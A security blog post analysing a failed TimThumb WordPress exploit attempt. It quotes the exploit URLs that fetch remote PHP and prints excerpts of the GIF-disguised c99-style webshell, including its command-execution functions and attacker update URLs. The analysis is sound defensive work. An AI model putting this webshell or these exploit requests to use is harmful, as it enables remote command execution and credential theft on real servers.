Ghost in the shell: an exploiting attempt examinated

Yesterday I traced on my VPS running this blog an attack attempt against a wordpress plugin.

The attacker tried to exploit TimThumb plugin for wordpress blogging platform with this exploit published last August.

Choosing the wrong weapon

This attempt is of course very lame since armoredcode.com doesn’t run either wordpress then php, but it was interesting enough since I was able to download the PHP webshell the attacker was trying to inject into my blog.

A clever attacker doesn’t try to exploit vulnerabilities for php on a octopress, statically powered blog. Simply, it doesn’t work.

Know your enemy first

We said this in some of the first blog posts: understanding your attack exposure is critical to understand what an attacker can do over our code.

So, that log entry didn’t scare me a bit.

Please note that we’re talking about a script kiddie running an exploitation tool without knowledge. A most skilled attacker would have a fine grained detect activity over your server to discover if an exploit is usable or not.

Before going deep into detail, it seems that this wordpress plugin suffers a lot of security issues since looking for it in Google vulnerabilities comes first than the link to download it.

The attack

The attacker tried to exploit the plugin in three different place:

  1. http://armoredcode.com/wp-content/themes/nova/scripts/timthumb.php?src=http://picasa.com.ipsupply.com.au/wp-content/uploads/2012/03/IN.php
  2. http://armoredcode.com/blog/wp-content/themes/nova/scripts/timthumb.php?src=http://picasa.com.ipsupply.com.au/wp-content/uploads/2012/03/IN.php
  3. http://armoredcode.com/blog/archive/wp-content/themes/nova/scripts/timthumb.php?src=http://picasa.com.ipsupply.com.au/wp-content/uploads/2012/03/IN.php

Looking at the attempts we can see that the attacker hosted the malicious PHP code over www.ipsupply.com.au, we can imagine an hosting website running blogs since it refers to a wp-content directory.

The homepage says that the webserver is configured and running but there is no content over it.

We can imagine that this Australian powered website has nothing to do with the attacker that used it as storage.

The attacker tried to mimic the link name surrounding with picasa.com verbs so to keep fool for sysadmins looking at the logs. Quickly reading picasa.com over a link it may sound that a regular image linked to a blog post.

A clever idea would be to mimic the whole picasa.com website instead of public admit it is a fake. But our attacker is not that minded at all.

He tried to inject a IN.php file… I’m curious enough to go for it, take a look inside and of course writing this post. =)

The code

The malicious code starts with a GIF preamble to keep the wordpress plugin fool around.

``` php Pretend to be a GIF Image

GIF89a�����ÿÿÿ!ù����,�������D�;�<?php $language = ‘eng’; $auth = 0; $name = ‘’; // md5 Login $pass = ‘’; // md5 Password /****************************************************/ @error_reporting(0); @set_time_limit(0);?><?php /**************/ / c99 injector v1 09.2011 / / Re-coded or modified By b3n_jol / /**************/ $sh_id = “sakaw”; $sh_ver = “- shell”; $sh_name = ($sh_id).$sh_ver; $sh_mainurl = “http://s4l1ty.binhoster.com”;


Original comments are in place. The idea from this code is to inject a proper
password protected webshell that can be used only by the attacker.

Password, MD5 hashed has been stored in a passs.txt file. You would look into
your filesystem for it just to make sure that this lame attacker has not
infected you.

``` php The authentication bit
//Authentication 
$login = "";  
$pass = ""; 
$md5_pass = "md5($pass)"; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass). 
$host_allow = array("*"); //Contoh: array("192.168.0.*","127.0.0.1") 
$login_txt = "Restricted Area"; //Pesan HTTP-Auth 
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied"; 
$gzipencode = TRUE; 
$updatenow = FALSE; //Jika TRUE, update shell sekarang. 
$c99sh_updateurl = $sh_mainurl."ipays.php"; 
$c99sh_sourcesurl = $sh_mainurl."passs.txt"; 
//$c99sh_updateurl = "http://www.utama-audio.com/ipays/tool/"; 
//$c99sh_sourcesurl = "http://www.utama-audio.com/ipays/tool/passs.txt"; 
$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses. 
$curdir = "./"; 
$tmpdir = "";  
$tmpdir_log = "./"; 
$log_email = "injektorku@gmail.com"; //email untuk pengiriman log. 
$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending 
$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies. 
$sess_cookie = "c99shvars"; //Nama variabel Cookie 
$usefsbuff = TRUE; //Buffer-function 
$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste 
$hexdump_lines = 8; 
$hexdump_rows = 24; 
$win = strtolower(substr(PHP_OS,0,3)) == "win"; 
$disablefunc = @ini_get("disable_functions"); 
if (!empty($disablefunc)) { 
  $disablefunc = str_replace(" ","",$disablefunc); 
  $disablefunc = explode(",",$disablefunc); 
} 

I have to admit that I tought about a friend of mine playing with me when I saw this function in the PHP code. It seems that this webshell wants to scan for Windows powered disk drivers, but I’m not that sure that is used in the real shell.

``` php A disk? In 2012? function disp_drives($curdir,$surl) { $letters = “”; $v = explode(“\”,$curdir); $v = $v[0]; foreach (range(“A”,”Z”) as $letter) { $bool = $isdiskette = $letter == “A”; if (!$bool) {$bool = is_dir($letter.”:\”);} if ($bool) { $letters .= “<a href="”.$surl.”act=ls&d=”.urlencode($letter.”:\”).”"”. ($isdiskette?” onclick="return confirm(‘Make sure that the diskette is inserted properly, otherwise an error may occur.’)"”:””).”> [”; if ($letter.”:” != $v) {$letters .= $letter;} else {$letters .= “".$letter."”;} $letters .= “]</a> “; } } if (!empty($letters)) {Return $letters;} else {Return “None”;} }


However, this is the piece of PHP that runs commands:
 
``` php The exec core
//w4ck1ng Shell 
if (!function_exists("myshellexec")) { 
  if(is_callable("popen")) { 
    function myshellexec($cmd) { 
      if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; } 
      while (!feof($p)) { 
        $line=fgets($p,1024); 
        $out .= $line; 
      } 
      pclose($p); 
      return $out; 
    } 
  } else { 
    function myshellexec($cmd) { 
      global $disablefunc; 
      $result = ""; 
      if (!empty($cmd)) { 
        if (is_callable("exec") and !in_array("exec",$disablefunc)) { 
          exec($cmd,$result); 
          $result = join("\n",$result); 
        } elseif (($result = $cmd) !== FALSE) { 
        } elseif (is_callable("system") and !in_array("system",$disablefunc)) { 
          $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; 
        } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) { 
          $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; 
        } elseif (is_resource($fp = popen($cmd,"r"))) { 
          $result = ""; 
          while(!feof($fp)) { $result .= fread($fp,1024); } 
          pclose($fp); 
        } 
      } 
      return $result; 
    } 
  } 
} 
function ex($cfe) { 
  $res = ''; 
  if (!empty($cfe)) { 
    if(function_exists('exec')) { 
      @exec($cfe,$res); 
      $res = join("\n",$res); 
    } elseif(function_exists('shell_exec')) { 
      $res = @shell_exec($cfe); 
    } elseif(function_exists('system')) { 
      @ob_start(); 
      @system($cfe); 
      $res = @ob_get_contents(); 
      @ob_end_clean(); 
    } elseif(function_exists('passthru')) { 
      @ob_start(); 
      @passthru($cfe); 
      $res = @ob_get_contents(); 
      @ob_end_clean(); 
    } elseif(@is_resource($f = @popen($cfe,"r"))) { 
      $res = ""; 
      while(!@feof($f)) { $res .= @fread($f,1024); } 
      @pclose($f); 
    } else { $res = "Ex() Disabled!"; } 
  } 
  return $res; 
} 
function which($pr) { 
  $path = ex("which $pr"); 
  if(!empty($path)) { return $path; } else { return $pr; } 
} 
//End of w4ck1ng Shell 

Than shell tries to hide itself saving on a random address used later on.

//Start Enumerate function 
$hostname_x = php_uname(n); 
$itshome = getcwd(); 
if (!$win) { 
  $itshome = str_replace("/home/","~",$itshome); 
  $itshome = str_replace("/public_html","/yx29sh.php",$itshome); 
} 
else { $itshome = ""; } 
$enumerate = "http://".$hostname_x."/".$itshome.""; 
//End Enumerate function 

The shell also tried to enumerate all the PHP vulnerabilities specific for interpreter running on the target using milw0rm:

//milw0rm search 
$Lversion = php_uname(r); 
$OSV = php_uname(s); 
if(eregi("Linux",$OSV)) { 
  $Lversion=substr($Lversion,0,6); 
  $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; 
} else { 
  $Lversion=substr($Lversion,0,3); 
  $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; 
} 
//End of milw0rm search 

The idea, looking at the remaining part of the source code is that apart for presenting a web shell to authenticated attackers, this worm tries to download and install c99 PHP backdoor.

A particular note is for the code trying to extract connection parameter from PHP ini files and dumping the mysql database as you may expect in a wordpress typical scenario.

The remaining 2000 lines of code are a sophysticate control panel for the attack victim. The attacker have a full featured back-connection shell and using web page he can retrieve sql dumps, passwords and Apache configuration.

``` html the web shell signature

.:[ sakaw Injector | SAKAW TEAM ScanNeRS | Generated: seconds ]:.

```

A powerful mass-destruction weapon used by a lamer.

Wrap up

Please update your wordpress plugins and uninstall the ones that are unnecessary. Wordpress, PHP and Apache are widespread technologies used also by people not caring too much about security and that is what attackers are looking for. Unmaintained platform to exploit in order to gain control over a machine using it to make further attacks.

Don’t underestimate upgrading your systems since you’re not a bank, or you don’t have credit card numbers stored in your database.

comments powered by Disqus